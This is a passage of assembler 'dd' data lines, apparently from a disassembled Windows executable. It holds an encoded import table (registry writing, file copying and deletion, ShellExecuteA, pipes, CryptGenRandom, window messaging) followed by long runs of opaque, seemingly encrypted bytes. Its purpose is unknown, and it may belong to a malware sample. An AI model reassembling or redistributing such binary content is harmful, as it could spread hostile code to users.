15FF00h, 2FF00h, 13FF00h dd 5FF00h, 0AFF00h, 17FF00h, 0CFF00h, 33FF00h, 6FFF00h dd 38FF00h, 12FF00h, 3FF00h, 70FF00h, 9FF00h, 34FF00h dd 6FF00h, 0BFF00h, 10FF00h, 8FF00h, 14FF00h, 74FF00h dd 11FF00h, 41535700h, 74636F49h, 39FF006Ch, 73FF0000h dd 0DFF0000h, 30000000h, 4B004170h, 454E5245h, 2E32334Ch dd 6C6C64h, 56746547h, 69737265h, 78456E6Fh, 65470041h dd 636F4C74h, 49656C61h, 416F666Eh, 74655300h, 72727543h dd 44746E65h, 63657269h, 79726F74h, 736C0041h, 656C7274h dd 4700416Eh, 69577465h, 776F646Eh, 72694473h, 6F746365h dd 417972h, 61657243h, 69466574h, 41656Ch, 46746547h, 54656C69h dd 656D69h, 46746553h, 54656C69h, 656D69h, 53746547h, 65747379h dd 7269446Dh, 6F746365h, 417972h, 64616F4Ch, 7262694Ch dd 41797261h, 74654700h, 636F7250h, 72646441h, 737365h dd 74697845h, 636F7250h, 737365h, 79706F43h, 656C6946h dd 65470041h, 73614C74h, 72724574h, 5700726Fh, 65746972h dd 656C6946h, 61655300h, 50686372h, 41687461h, 65724300h dd 50657461h, 657069h, 43746547h, 65727275h, 7250746Eh dd 7365636Fh, 65470073h, 6D6F4374h, 65747570h, 6D614E72h dd 43004165h, 74616572h, 6F725065h, 73736563h, 65500041h dd 614E6B65h, 5064656Dh, 657069h, 45746547h, 43746978h dd 5065646Fh, 65636F72h, 52007373h, 46646165h, 656C69h dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 74654700h dd 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh, 6E65704Fh dd 636F7250h, 737365h, 64616552h, 636F7250h, 4D737365h dd 726F6D65h, 6C530079h, 706565h, 6D726554h, 74616E69h dd 6F725065h, 73736563h, 6F6C4300h, 61486573h, 656C646Eh dd 74655300h, 656C6946h, 72747441h, 74756269h, 417365h dd 656C6544h, 69466574h, 41656Ch, 61636F4Ch, 6572466Ch dd 72430065h, 65746165h, 65726854h, 55006461h, 70616D6Eh dd 77656956h, 6946664Fh, 4D00656Ch, 69567061h, 664F7765h dd 656C6946h, 65724300h, 46657461h, 4D656C69h, 69707061h dd 41676Eh, 626F6C47h, 654D6C61h, 79726F6Dh, 74617453h dd 47007375h, 69447465h, 72466B73h, 70536565h, 45656361h dd 47004178h, 72447465h, 54657669h, 41657079h, 74654700h dd 6B636954h, 6E756F43h, 75510074h, 50797265h, 6F667265h dd 6E616D72h, 72466563h, 65757165h, 79636Eh, 72657551h dd 72655079h, 6D726F66h, 65636E61h, 6E756F43h, 726574h dd 61427349h, 646F4364h, 72745065h, 72655400h, 616E696Dh dd 68546574h, 64616572h, 696E4900h, 6C616974h, 43657A69h dd 69746972h, 536C6163h, 69746365h, 47006E6Fh, 75437465h dd 6E657272h, 6F725074h, 73736563h, 45006449h, 7265746Eh dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 6C707544h dd 74616369h, 6E614865h, 656C64h, 45746553h, 726F7272h dd 65646F4Dh, 65724300h, 4D657461h, 78657475h, 736C0041h dd 70637274h, 6C004179h, 63727473h, 416E7970h, 74654700h dd 69766E45h, 6D6E6F72h, 56746E65h, 61697261h, 41656C62h dd 74736C00h, 706D6372h, 654C0041h, 43657661h, 69746972h dd 536C6163h, 69746365h, 6E6Fh, 4171D8h, 52455355h, 642E3233h dd 47006C6Ch, 6F467465h, 72676572h, 646E756Fh, 646E6957h dd 4900776Fh, 61684373h, 706C4172h, 754E6168h, 6972656Dh dd 77004163h, 69727073h, 4166746Eh, 74654700h, 646E6957h dd 6554776Fh, 417478h, 646E6946h, 646E6957h, 41776Fh, 646E6553h dd 7373654Dh, 41656761h, 70000000h, 44410041h, 49504156h dd 642E3233h, 52006C6Ch, 6E456765h, 61566D75h, 4165756Ch dd 67655200h, 656C6544h, 61566574h, 4165756Ch, 67655200h dd 6E65704Fh, 4579654Bh, 52004178h, 75516765h, 56797265h dd 65756C61h, 417845h, 53676552h, 61567465h, 4565756Ch dd 52004178h, 72436765h, 65746165h, 4579654Bh, 47004178h dd 73557465h, 614E7265h, 41656Dh, 70797243h, 6C655274h dd 65736165h, 746E6F43h, 747865h, 70797243h, 6E654774h dd 646E6152h, 43006D6Fh, 74707972h, 75716341h, 43657269h dd 65746E6Fh, 417478h, 43676552h, 65736F6Ch, 79654Bh, 4171D000h dd 45485300h, 32334C4Ch, 6C6C642Eh, 65685300h, 78456C6Ch dd 74756365h, 4165h, 4171C8h, 41454C4Fh, 32335455h, 6C6C642Eh dd 0C8FF00h, 0 dd 0BB940000h, 18A0000h, 960000h, 6150000h, 340000h, 27F0000h dd 8F0000h, 2C0000h, 7E0000h, 2620000h, 6CE0000h, 8C0000h dd 4A900000h, 1E840000h, 11D0000h, 5D00000h, 4B0000h, 680000h dd 0A8B0000h, 1F00000h, 9A0000h, 47C0000h, 2EFF0000h, 0D1D19454h dd 0A4522D5Ah, 815C1590h, 88B92539h, 0D43D5888h, 6452D19Ch dd 0D1D1D0BBh, 0D591A15Ah, 6C2F2CA5h, 0AC3588D1h, 2BCD5CD1h dd 812ED12Eh, 5C81592Eh, 0FAC9B9D1h, 3AD16F26h, 5AD951D6h dd 29CA0955h, 9111E22Eh, 74F526D1h, 95A939D1h, 2F89A399h dd 160D3AD3h, 0B981504Dh, 5A84BBD1h, 2E2AA5D1h, 0A4D1D2D9h dd 882E28E1h, 5E51D58h, 126FDEB4h, 5ADDEA84h, 0D1D3E288h dd 39D92EDDh, 2ED958D1h, 299D54D1h, 3FA5115Ah, 11EDF9C2h dd 5A21E938h, 610EAD65h, 5A8167B5h, 0FDD7BB81h, 753E39DDh dd 11A75BA2h, 0D12E23A4h, 0D1F479DEh, 5CD94581h, 29B17127h dd 3A11A0D1h, 2EC59032h, 81885ADCh, 10DA16DBh, 0C52F8D17h dd 6D52D95Ah, 39295810h, 2024DED9h, 8810292Eh, 29D1C15Ch dd 0DD4DC42Fh, 12185DD1h, 0BD7D1021h, 88EC6849h, 0D9548838h dd 98D1D958h, 5A882B39h, 29D12143h, 21903A52h, 0D258292Eh dd 0FBB893D1h, 2E889129h, 0E848A4D0h, 54D238D1h, 0E33CD2DDh dd 0D210F200h, 5AC1DE29h, 181167DEh, 59D10ED1h, 0F07ADEDDh dd 0CF2A39h, 215A0131h, 0B74A4458h, 2A21E4CBh, 0D63A2E38h dd 84D116D1h, 55DE10DEh, 0BA4B4642h, 0D175C4C3h, 0F8CC412Fh dd 5A19DE11h, 0D2295A20h, 371CB9D9h, 474072D1h, 2C21D513h dd 5C29D221h, 3A88EA29h, 39C5B988h, 0A2D151D1h, 924ED3D1h dd 47E7CAA6h, 52061044h, 5020513h, 30050204h, 16DA0308h dd 8300517h, 0B001C22h, 0B00000Eh, 1D97h, 0FF26006Fh, 31FFA1D9h dd 882E002Ch, 2C31FFh, 0FF010F19h, 42002C31h, 0D7162001h dd 22164101h, 0A28001Ch, 1C151001h, 14002800h, 2C31FFh dd 21FF1400h, 2Fh, 18D1C4FFh, 6001C43h, 1C431Eh, 7101E48h dd 59070002h, 0C014114h, 0B31E39FFh, 0A158DDFFh, 1E06001Ch dd 48001CA1h, 26001Ch, 0D5C4FF00h, 42F0718h, 3CB502h, 14000000h dd 2F21FFh, 0C4FF0000h, 1D18F9h, 0FF020400h, 16541829h dd 5C070029h, 879C4FFh, 741115Dh, 7DC4FF5Ch, 0E9072508h dd 5539FFh, 0E9070E00h, 0AAA339FFh, 0DEFF0505h, 0D0354h dd 1D7F07h, 9060B00h, 0B00001Dh, 0C880C4Eh, 1E0C010Fh dd 1661B0Ch, 192D0Ch, 8D29FF06h, 320C1716h, 1D11h, 9039FF28h dd 5C63FF09h, 4500001Dh, 0E00h, 100E0045h, 8687FF03h, 1C7F0725h dd 9060B00h, 0FF0F39FFh, 1C1FD089h, 1C600100h, 4C006E00h dd 2208443Ch, 0B00001Dh, 0F030906h, 1C5E01h, 1C5E1E06h dd 4B00h, 37639FFh, 31FF6557h, 0FF0D03D5h, 10FA939h, 6001C3Dh dd 13001C39h, 42C81FFh, 2C81FF01h, 1C2C81FFh, 0FF0A0400h dd 0FF0A2C81h, 403D5DBh, 2C81FF14h, 1C5E1716h, 183B0400h dd 1E40E6FFh, 50010A0Dh, 6F0000h, 841C4FFh, 2C81FF17h dd 1C5E1716h, 1AA80400h, 0DDD0FF3Ch, 0DA39FF28h, 1FD08DFFh dd 0FF018411h, 17162C81h, 4001C5Eh, 15501AA8h, 2C89FFh dd 11FF332Ch, 81C0FF52h, 1C645Bh, 1C641E06h, 6004B00h dd 13001C39h, 0FF010466h, 17162C81h, 4001C5Eh, 0FF3C1AA8h dd 12BD9D0h, 0A3001C19h, 0FF771603h, 2A0116DDh, 3AFF1605h dd 0FF0104F4h, 17162C81h, 4001C5Eh, 0FF3C1AA8h, 12BD9D0h dd 0F001C19h, 2A052A01h, 4C05h, 66010Ah, 4C14h, 1C3D1400h dd 0FF010400h, 17162C81h, 4001C5Eh, 0FF3C1AA8h, 0BBD5D0h dd 2600h, 849C4FFh, 7105715Bh, 0CEFF3205h, 6613589Ah, 631358DAh dd 88053905h, 38010538h, 0FF016605h, 0B9002C88h, 56DEFF00h dd 1C3D1716h, 0BB00h, 8CFF5353h, 155002Ch, 0BB001C3Dh dd 53530000h, 2C8CFFh, 0F110FF06h, 1C3D0155h, 0BB00h, 8CFF5353h dd 0FF06002Ch, 355F138h, 0CEFF01D7h, 0FF0305F1h, 104DC3Ah dd 5F1CEFFh, 0F1CEFF01h, 0F1CEFF05h, 1C113205h, 780100h dd 0BB00h, 563010Fh, 0CEFF1758h, 113205F1h, 0A04001Ch dd 0CEFF0538h, 1C3D05F1h, 0DBFF5300h, 0A510FFEAh, 1C113205h dd 380A0400h, 0F1CEFF05h, 1C3D05h, 52DBFF53h, 55F1CEFFh dd 0F1CEFF01h, 1C113205h, 380A0400h, 0F1CEFF05h, 1C3D05h dd 52DBFF53h, 55F1CEFFh, 211h, 6638FF00h, 1E060000h, 0FF320563h dd 403D109h, 1C3C01h, 3C010F19h, 0FFC3001Ch, 1002C89h dd 9A000360h, 5BD1FF08h, 230194h, 17523000h, 162C81FFh dd 1C5E17h, 501AA804h, 81FF0104h, 5E17162Ch, 0A804001Ch dd 0D0FF3C1Ah, 0A0D28DDh, 2F8CFF01h, 60B0000h, 0FF940509h dd 1C15FFCEh, 0C4FF0000h, 0FF170871h, 17162C81h, 4001C5Eh dd 0FF3C1AA8h, 0AA0BDDD0h, 2C85FFh, 14003B06h, 1C64h, 0FFBA08E0h dd 0FF03D10Bh, 17030138h, 0BB001C19h, 10F0000h, 4001C19h dd 2C81FF01h, 1C5E1716h, 1AA80400h, 1C19CFh, 8C114055h dd 1C6405h, 0BA08E000h, 4FFh, 1C5E1400h, 8239FF00h, 1C3D1400h dd 0F439FF00h, 1FD085FFh, 6001001Ch, 89A0003h, 1C3C13h dd 4500004Bh, 60B0000h, 8CFF0109h, 26002Ch, 0FF010A0Dh dd 2F8Ch, 1C09060Bh, 239FF00h, 5703AEFFh, 38DEFF85h, 0FF000052h dd 1D64A038h, 8EFF0000h, 80FF478Fh, 2EDCFF80h, 0FF067207h dd 11A5D082h, 0FF29030Ah, 502A439h, 4FC4007h, 1A3D0502h dd 83FF7207h, 0D1FF0582h, 70003D0h, 39FF0556h, 204099Eh dd 0FF1F7D05h, 24254C1h, 84D29FFh, 2422F2Eh, 84529FFh dd 7590725h, 15B929FFh, 8239FF0Dh, 8100409h, 0D3591B25h dd 0D1900FFFh, 1308E000h, 80F39FFh, 0D3591B25h, 0D1900FFFh dd 1308E000h, 0D3591B10h, 0D1900FFFh, 1308E000h, 80F21FFh dd 0D3591B25h, 0D1900FFFh, 0FF08E000h, 4108CD1h, 302D9302h dd 0FF5D160Fh, 2D935ADFh, 5D160A30h, 18159FFFh, 0F302D93h dd 7F65D16h, 2BD083FFh, 900FFF11h, 400CA3D1h, 93020438h dd 160A302Dh, 82FFF65Dh, 900FFF83h, 2BFFA3D1h, 0FF3E03D1h dd 0FFA33963h, 72FFD083h, 0D1900FFFh, 2DC70204h, 0A5DBFF13h dd 29FF0653h, 0C4FF07DCh, 0E1010AB9h, 0E0B0000h, 0FF072558h dd 1D5CDDh, 9060B00h, 2600001Dh, 41F6AFFh, 0D0310h, 347F07h dd 0FF09060Bh, 0FF167239h, 0FF143988h, 0FCFFD080h, 522050Ch dd 815031Ah, 62071846h, 21AFFF10h, 3D655703h, 0FF01D7B1h dd 42032D39h, 2D21FF01h, 5390603h, 0A1010522h, 5430105h dd 78A1C4FFh, 10140000h, 570321B4h, 5220C65h, 1057E01h dd 2909FFh, 2A5D2600h, 1C3E39FFh, 10140000h, 65AD20FFh dd 15036AFFh, 0C4FF0029h, 7E1400A5h, 0FF181B05h, 71821C4h dd 7F39FF2Ah, 14000000h, 3696B10h, 0ABFF6557h, 41014658h dd 164E39FFh, 5220906h, 0D081FF9Ch, 810142h, 0D7033C00h dd 0FF164F01h, 0B7D1h, 2909FF17h, 10F0000h, 0A12D09FFh dd 0A1014105h, 2D31FF05h, 81010A41h, 466F0000h, 0FF052208h dd 78ADC4h, 0FF101400h, 4F65ADD3h, 2909FF14h, 0E0000000h dd 5431708h, 0D1900FFFh, 57E0104h, 0D1900FFFh dd 10410104h, 2931FF14h, 0E0000000h, 1C051308h, 3B101700h dd 39B538FFh, 1529001Ch, 60B001Ch, 452209h, 0FF252600h dd 5D0851C4h, 10A0D2Ah, 2B21FFh, 130E0B00h, 1FF0105h, 0FF000029h dd 0A03D0D2h, 2901FF01h, 25260000h, 855C4FFh, 1E44385Dh dd 2901FFh, 0D0D2FF00h, 0D2A1B03h, 21FF010Ah, 0B00002Bh dd 18460Eh, 39060000h, 882E0034h, 51010F51h, 5025101h dd 11322D51h, 0FF06001Ch, 0FF07DB29h, 0FF0116DDh, 16002C29h dd 0D33AFF03h, 6163AFFh, 2C29FF1Eh, 344800h, 5020F19h dd 1C150D05h, 9060B00h, 7002001h, 26000005h, 59C4FF25h dd 0D2405D08h, 0A05010Ah, 2B21FF01h, 0E0B0000h, 0FE39FF00h dd 14000049h, 3E0FF10h, 0D8EFC457h, 9C2AFF5Ah, 7000505h dd 0FFFD35Ch, 0FF00D190h, 1578B9C4h, 5A80FF47h, 5D16A153h dd 9B52F7FFh, 3C81107h, 0FF072515h, 8415B9DDh, 39FF2903h dd 54E1647h, 0ABFF4007h, 1B9B2106h, 7B9C6FFh, 39FF0556h dd 9060351h, 7D050204h, 0D46081Fh, 37539FFh, 0FF4B0906h dd 7250853h, 9C89FF72h, 0C6FF7207h, 0FFA5002Eh, 700B9DEh dd 66DAFF5Ah, 310041Fh, 7F07000Dh, 60B0024h, 3D39FF09h dd 2402010Ah, 0A292600h, 240201h, 0E0Bh, 231E06h, 4B00h dd 3B1939FFh, 1529FD65h, 49A80105h, 9060B00h, 1E06001Ch dd 2C29FFh, 0FF00004Bh, 0B6167939h, 0F1CEFF14h, 39FF0024h dd 1FF65ACh, 10A03D0h, 28002438h, 0CEFF0104h, 24F1h, 53FF304Ch dd 0B4052208h, 906036Dh, 2A010F16h, 39060024h, 346001Ch dd 0E1010Ah, 2600h, 199C4FFh, 2BC1FFh, 0C1FF1E06h, 2448002Bh dd 7703F900h, 1046940h, 0C1FF0105h, 10F002Bh, 0FF051405h dd 0FF019DC4h, 2BDDh, 26002415h, 0F739FF00h, 14591350h dd 23h, 2BC1FF14h, 1D1500h, 9060B00h, 3F90024h, 0CEFF0175h dd 60024F1h, 3538FF3Bh, 12h, 231400h, 5F39FF00h, 0C5FF4E16h dd 0FF00002Bh, 2A01A139h, 72070024h, 3D16B2FFh, 242A010Fh dd 0FF010400h, 2BC5h, 0FF2CA2B8h, 0D9FF5828h, 0FF00002Bh dd 540Ah, 4C08FFh, 0E639FF00h, 169ACEFFh, 242A012Bh, 0FF010F00h dd 2BD1h, 540AFFh, 0E409FF00h, 1A1E18h, 8080FF00h, 169ACEFFh dd 242A012Bh, 5010F00h, 3ED30501h, 0A380CFFh, 243801h dd 10A0D28h, 682D82FFh, 24090603h, 3239FF00h, 0B6169BFFh dd 2C29FF14h, 3339FF00h, 1FBEh, 37D39FFh, 0FF408557h, 1318FF07h dd 1044471Ah, 7F07000Dh, 0B00002Ch, 39FF0906h, 8010AB3h dd 0B00002Ch, 27D9FF4Eh, 3AFF0000h, 0FF0104DCh, 27D9h dd 0FF010F3Dh, 27D9h, 0D9FF1E06h, 4B000027h, 0FF280000h dd 9BFFC039h, 0D9FF0E16h, 53000027h, 2C11h, 8D29FF06h dd 27D9FFh, 11320A00h, 2800002Ch, 0A83139FFh, 1420E16h dd 2C2Ah, 2C2298h, 26032800h, 10A2946h, 2A140010h, 0A00002Ch dd 8121FF02h, 23625D08h, 39FF0000h, 65570360h, 941503D3h dd 0FF3A4500h, 0D133FFF2h, 616121Fh, 0FF050109h, 3380039h dd 600000Eh, 1A1Eh, 0FF00004Bh, 0FF358D39h, 29583138h dd 2C08010Ah, 0E0B0000h, 1E060000h, 26C5FFh, 4B00h, 0AE39FFh dd 2314h, 7CA39FFh, 0FA655703h, 0FF144658h, 26C5h, 0A8E639FFh dd 2C090616h, 39FF0000h, 4E16A8D8h, 2429FFh, 0C5FF1415h dd 0FF000026h, 16A8C239h, 4D0906h, 10A0D28h, 2CF1CEFFh dd 60B0000h, 0A009409h, 10A0501h, 0C4FF0010h, 0C4FF0095h dd 0FF010A9Dh, 450027C1h, 60B0000h, 14000309h, 0A900001Ah dd 0E037Ch, 0FF1E0600h, 2839h, 4D48h, 14002B07h, 26C5FFh dd 0B939FF00h, 1A1400h, 4439FF00h, 0FF00001Fh, 31BE039h dd 16146557h, 2C22h, 23010428h, 4C000000h, 6F1CEFFh, 342208h dd 1609060Bh, 0DDFF010Fh, 27h, 26C5FF14h, 150D0000h, 60B001Ch dd 6009409h, 0FF1B0C1Eh, 580C50DDh, 14A7D1FFh, 0F0010Ch dd 39FF0026h, 0FECEFF2Eh, 0FF090603h, 2C5CF6h, 0A0D2800h dd 340201h, 309060Bh, 580C1E44h, 2301F8h, 0FF3B0600h, 0BA030F38h dd 2E8CFFh, 9C39FF00h, 27DDFFh, 19720700h, 3D1696FFh, 0DDFF010Fh dd 4000027h, 2429FF01h, 2CA2B800h, 0FF5828FFh, 0FF002421h dd 540Ah, 4C08FFh, 0C539FF00h, 2B1696FFh, 27DDFF01h, 10F0000h dd 2439FFh, 540AFFh, 0E409FF00h, 0FF101E18h, 0D1FF0C80h dd 0DDFF01FAh, 0F000027h, 20012001h, 0CFF3ED3h, 0FF010A38h dd 2CF1CEh, 0A0D2800h, 340201h, 4D09060Bh, 1A39FF00h, 1FD1FFFFh dd 39FF0000h, 14B61665h, 0FF00001Ah, 0F6FF3039h, 1FD1h dd 85AC39FFh, 3A1BFF1Ah, 0EF1819FFh, 9B2106D8h, 2106DF1Bh dd 52DDFF98h, 1BD1C5FFh, 2A210670h, 2A07254Bh, 0FAF39FFh dd 1B83AD02h, 3450D8FFh, 11770300h, 304FFh, 8FFF2307h dd 1B0C0297h, 8350D8FFh, 11771903h, 0FF290314h, 16023739h dd 1107054Eh, 4460343h, 39FF0502h, 6160209h, 7000309h dd 11FF06C2h, 9060BF4h, 8E070003h, 0FF137D05h, 204BBDDh dd 56137D05h, 0CEFF2705h, 2958FEh, 7D053107h, 59075913h dd 0B9C1FF07h, 3A050725h, 2ABEFF43h, 80FF479Dh, 584B4852h dd 1602E33Ah, 4007054Eh, 0C9B0FFh, 0FF055607h, 1602C339h dd 30906h, 0FF06C207h, 60BF411h, 7000309h, 137D0531h, 7590759h dd 25B9C1FFh, 0FF3A0507h, 479DBEC0h, 150D1044h, 0C1FF0700h dd 603B439h, 6004909h, 2F07101Eh, 8738FF35h, 2EC1FF07h dd 0A0D0D2Ah, 39FF0501h, 6163C17h, 0B004909h, 26000089h dd 6539FF00h, 3090603h, 5010A0Dh, 0FF101400h, 0FCFFC8CEh dd 49090603h, 0FF1E0600h, 2A31h, 4948h, 0A3106207h, 65570371h dd 3D31BFFh, 5010A0Dh, 3CEE39FFh, 0E16h, 0D41E06h, 4B00h dd 71D939FFh, 0CF655703h, 0D41758h, 11FF0600h, 0D4010FD5h dd 0A0D0000h, 0FBCA0501h, 0E16h, 1B0C1E06h, 0C5ADFFFh dd 0D401h, 6D106277h, 6557032Bh, 201358FBh, 0D20010Ah dd 390C1400h, 49090616h, 0FF1E0600h, 2A29h, 4B0000B7h dd 39FF0000h, 38FF35BBh, 38131626h, 0FF004948h, 49A3D3h dd 0A366DEFFh, 0D18BFF12h, 0FF004948h, 32BE939h, 14FF6557h dd 0FF210603h, 448F1CEh, 75C200Ah, 0EEFFFB23h, 1062A516h dd 57032B2Fh, 29167E65h, 0BD230700h, 0E16h, 0CA1E06h, 4B00h dd 0B40739FFh, 0FF655703h, 140003B2h, 40000CAh, 0D401h dd 0FF050A0Ah, 31FF5A10h, 2B00002Ah, 0D48019FFh, 39FF0000h dd 9061642h, 0A0A0049h, 5A10FF05h, 2A31FFh, 20E62B00h dd 63212091h, 3B0648h, 0CA14h, 8939FFh, 86FF1014h, 88FF03FBh dd 0D2903BBh, 5010Ah, 39FF1014h, 90603FBh, 1E060049h, 2A31FFh dd 494800h, 630700h, 0CA14h, 0B2D039FFh, 1014B616h, 3FBD1FFh dd 0FF2307B6h, 0FF087DC4h, 3265E2D1h, 31FF1703h, 5500002Ah dd 14237700h, 0FF0000CAh, 16081A39h, 0FF1014B6h, 5703F81Bh dd 2E8BFF85h, 0CA14h, 31FF1400h, 1500002Ah, 60B0049h, 2B004909h dd 2A31FF01h, 10F0000h, 7201E20h, 0CA1400E3h, 39FF0000h dd 101400A6h, 0FF03E477h, 38FFBB88h, 1D3Fh, 0FF35479Dh dd 3547128Ch, 47128CFFh, 86FF1044h, 7F0700B9h, 60B004Dh dd 2039FF09h, 4D971619h, 39FF2800h, 0E16191Ah, 1D70000h dd 16001C1Bh, 4D390603h, 71D1FF00h, 69C6086Ah, 0A15001Ch dd 1C211Eh, 0C87A22FFh, 0C6086A81h, 15004D3Ch, 4D021E0Ah dd 7A22FF00h, 4D3906C8h, 242200h, 9010428h, 0FF014F4Ch dd 2A01h, 909060Bh, 2819FF01h, 60B0000h, 3010109h, 28002446h dd 0B1C4FF00h, 0FF130878h, 7C07F1CEh, 44F010Ah, 9C4C0901h dd 49220801h, 9060B00h, 4D1EFF01h, 4C006E00h, 0A548DFFh dd 2A01FF01h, 60B0000h, 0FF004D09h, 57030C39h, 0FF03EA65h dd 3701238h, 19FF010Ah, 0B000028h, 4D194Eh, 4DC3AFFh, 4D1901h dd 19010F3Dh, 1E06004Dh, 4D19h, 191716DAh, 1153004Dh, 0FF06004Dh dd 0DEFFEB29h, 1420354h, 34F1CEFFh, 0FF031600h, 104DC3Ah dd 34F1CEFFh, 10F1900h, 34F1CEFFh, 19010400h, 0BB004Dh dd 4D115300h, 4D600100h, 0BB00h, 4D1153h, 0FE29FF06h, 5A86FF07h dd 34F1CEFFh, 2B743000h, 4D22004Dh, 35A50B00h, 4D1901h dd 4D11320Ah, 0BB00h, 11320A6Eh, 0E0B004Dh, 3160000h, 110638FFh dd 4D1917h, 530000BBh, 6004D11h, 69E129FFh, 0BB000055h dd 11530000h, 0FF06004Dh, 0AEFFE829h, 104F3FFh, 0BB004D19h dd 0A040000h, 34F1CEFFh, 11327600h, 3227004Dh, 4DFADCFFh dd 0D43AFF00h, 0FFA838FFh, 2EDCh, 1D1A38FFh, 8150000h dd 0B004D22h, 6190906h, 6207661Eh, 4D220801h, 0E0B00h dd 39FF2800h, 16EFFFC5h, 1600000Eh, 0D738FF03h, 22084616h dd 60B004Dh, 661ED109h, 8016207h, 0B004D22h, 2800000Eh dd 166B39FFh, 5800000Eh, 10A0D03h, 0B001C69h, 4D220Eh dd 8460E0Bh, 0B004D22h, 6A30906h, 6207661Eh, 4D220801h dd 0E0B00h, 39FF2800h, 0E16A3EBh, 3B10000h, 4FE3AFFh, 5D4C0901h dd 1FF010Ah, 0B00002Ah, 4D0906h, 0B3FF39FFh, 221ACB65h dd 4E0B004Dh, 0FF004D19h, 104DC3Ah, 3D004D19h, 4D19010Fh dd 191E0600h, 0DA00004Dh, 4D191703h, 4D115300h, 3B50600h dd 4D190104h, 0FF743000h, 2819h, 0FF010A29h, 2819h, 0E0Bh dd 231E06h, 344800h, 0F1CEFF30h, 23010429h, 28190000h dd 35039FFh, 0A030906h, 2819FF01h, 0FF280000h, 4D09B739h dd 11320A00h, 0FF28004Dh, 1664FC39h, 0Eh, 0FF010A0Dh, 2819h dd 0E0Bh, 73B1E06h, 4FECEFFh, 4F4C0901h, 2A01FF01h, 60B0000h dd 0FF004D09h, 650DD539h, 283B010Ch, 166E39FFh, 3000000Eh dd 22F1CEFFh, 0FF28004Dh, 0E167039h, 4D635Bh, 4D3906h dd 5013h, 530000B7h, 2C89FFh, 11FF332Ch, 8109FF26h, 0A280000h dd 10A0501h, 28004D71h, 4D3C010Ah, 39FF2800h, 6000049h dd 6001C09h, 501Eh, 0A4D3FFh, 89FF5300h, 332C002Ch, 0FF2611FFh dd 8109h, 5010A28h, 4D71010Ah, 10A2800h, 28004D3Ch, 4D1939FFh dd 1C090600h, 501E0600h, 0D2FF0000h, 530000A4h, 2C89FFh dd 11FF332Ch, 8109FF26h, 0A280000h, 10A0501h, 28004D71h dd 5039FFh, 1C090600h, 1B1E0600h, 0D0FF001Ch, 88FF01DEh dd 155303D0h, 0FF003460h, 0FF2E5511h, 8BFF53FCh, 6001002Ch dd 32680034h, 18A2E08h, 29C1FFh, 0FF1708C5h, 0F0029C1h dd 29C5FF01h, 14000000h, 29C5FFh, 64010400h, 10FF004Dh dd 58DBFF39h, 29D9FFh, 34390600h, 7CFFC500h, 8FF0034h dd 0FF00004Ch, 0EBFFE239h, 1FAD1FFh, 0F004D63h, 34390501h dd 7CFFC500h, 0FF00002Ch, 1E18E409h, 0FF00001Ah, 44F8080h dd 0A04C0901h, 2A01FF01h, 60B0000h, 2C88FF09h, 24600100h dd 0FF2E2600h, 8BFF53AEh, 7801002Ch, 6001001Ch, 2C8CFFh dd 2236332Ch, 0FF450024h, 342AA001h, 2A1E0600h, 0CEFF0034h dd 53DF77F1h, 0FF036015h, 10AF23Ah, 901044Fh, 8323C4Ch dd 0B004922h, 38010906h, 6E0034h, 55C5FF4Ch, 0B004922h dd 4D0906h, 52CD39FFh, 5D38FF1Fh, 38FF0000h, 0FF000056h dd 18FF8938h, 6471A13h, 0FF294B10h, 2661A39h, 0FA110710h dd 0B0FF4603h, 21FF021Ah, 0C5FF1381h, 0A291151h, 8121FF02h dd 0FF024B1Fh, 5607B9C1h, 5239FF10h, 3090603h, 11C20700h dd 59137D16h, 7D103107h, 7D16111Fh, 45D511FFh, 0AFFF3A10h dd 2A13B3FFh, 1044479Dh, 3D3A0815h, 5020FB3h, 16DA0308h dd 29FF02D7h, 856FF09h, 5B043117h, 2F21FFh, 0FF1E4400h dd 2F21h, 11FF037Ch, 1DA6h, 1D60037Ch, 0F7B10000h, 0FF5084FFh dd 2F21h, 11D1FF11h, 1E44191Bh, 2F21FFh, 6003E300h, 2F21FF1Eh dd 30A0000h, 1DA311FFh, 3DB0000h, 1DA711FFh, 37E0000h dd 1D60h, 11D1FF1Ch, 0FECEFF1Bh, 42EC3AFFh, 6D29FF02h dd 2502E08h, 87529FFh, 2422B2Eh, 85529FFh, 42F3FF2Eh, 0B529FF02h dd 42C8CEFFh, 0C1FFB502h, 0F529FF16h, 2E0856FFh, 0FF02422Fh dd 56FFC529h, 6311708h, 1001423Bh, 2E0856FFh, 0FF10018Ah dd 14250857h, 315F0710h, 31024C00h, 11FF6B1Ah, 20403D1h dd 0FF6B1A31h, 1A31D169h, 3102096Bh, 3686B1Ah, 6B1A3117h dd 31170343h, 3816B1Ah, 1A310204h, 4037B6Bh, 6B1A3102h dd 204039Fh, 746B1A31h, 31020403h, 36B6B1Ah, 0C1FF0517h dd 0B9DDFF2Eh, 439FF0Dh, 19090603h, 0B529FF06h, 0D3B0631h dd 150C010Ah, 41C4FF18h, 15B95D08h, 4500001Dh, 0FFA001FFh dd 0FFFCF1CEh, 39FFB9DCh, 0FFF40347h, 39FFB9DAh, 0FFF40358h dd 39FFB9DAh, 311815ADh, 0CB076644h, 1A310204h, 0D169FF30h dd 441A3112h, 0D169FFh, 15D23AFFh, 48100647h, 2043B06h dd 0FF52C1FFh, 3A5D3h, 3EE5C4FFh, 0BAD1F6FFh, 3D32AFFh dd 0C1FF0204h, 0A5D0FF52h, 0D3B06h, 3EE5C4FFh, 0BAD1F6FFh dd 0FFA72151h, 150354DEh, 74F4E16h, 8BBC1FFh, 7465846h dd 0DDFF134Fh, 1FF02BBh, 0DDFF1381h, 1B9B13B7h, 0FF720787h dd 8916E48Dh, 0B7D1FF08h, 13034F02h, 5ADAFF98h, 0FF020FC2h dd 422F3A19h, 0D019FF02h, 3D4F1703h, 0DAFF988Fh, 20FC25Ah dd 2040909h, 4F563D4Fh, 124F1703h, 6E46524Fh, 409060Bh dd 38FF4F12h, 7251631h, 0EDC4FF5Ch, 0FF07103Eh, 3B469DBh dd 521538FFh, 2042F2Eh, 219131FFh, 12100210h, 275231FFh dd 31FF2148h, 0DBFF07D1h, 0FF03B469h, 4034138h, 0BA31FF02h dd 16E5C5FFh, 0FF07204Eh, 4608BBC1h, 31FF1716h, 200725BAh dd 0BBDDFF13h, 8121FF02h, 0B7DDFF13h, 871B9B13h, 502A7207h dd 0FF023E1Fh, 39FF5223h, 204D6D1h, 29139FFh, 2EA39FFh dd 6DE31FFh, 3D0D2FFh, 